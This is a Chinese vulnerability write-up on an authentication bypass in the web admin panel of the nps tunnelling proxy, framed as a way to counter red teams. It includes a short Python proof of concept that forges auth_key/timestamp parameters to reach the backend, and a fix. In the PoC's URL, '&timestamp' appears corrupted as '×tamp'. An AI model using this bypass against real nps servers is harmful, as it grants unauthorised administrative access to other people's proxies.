简介
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
漏洞分析
nps的web端使用beego框架,重写了Prepare函数,在该函数中进行了权限控制。漏洞文件在web/controllers/index.go
。如图:
只需要配置文件中auth_key的内容即可通过验证,设置session中的isadmin为true。在nps的配置文件中,auth_key默认是被注释的。
所以代码中beego.AppConfig.String("auth_key")
获取的结果就是空。这样crypt.Md5(configKey+strconv.Itoa(timestamp)
就相当于只需要把timestamp进行md5即可。poc:
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))
只需要在post内容中添加auth_key和timestamp两个参数,分别对应md5(timestamp)和timestamp即可。直接访问生成的url可以看到后台
auth_key和timestamp的时效只有20s,所以需要不停的生成。并且需要手动添加到get请求和着post请求的参数中。下图为client列表接口。
漏洞修复
只需要在配置文件里去掉auth_key的注释即可,当然肯定也得改掉默认密钥test
原文始发于微信公众号(千寻瀑):hvv反制红队第一章之nps代理工具0day漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论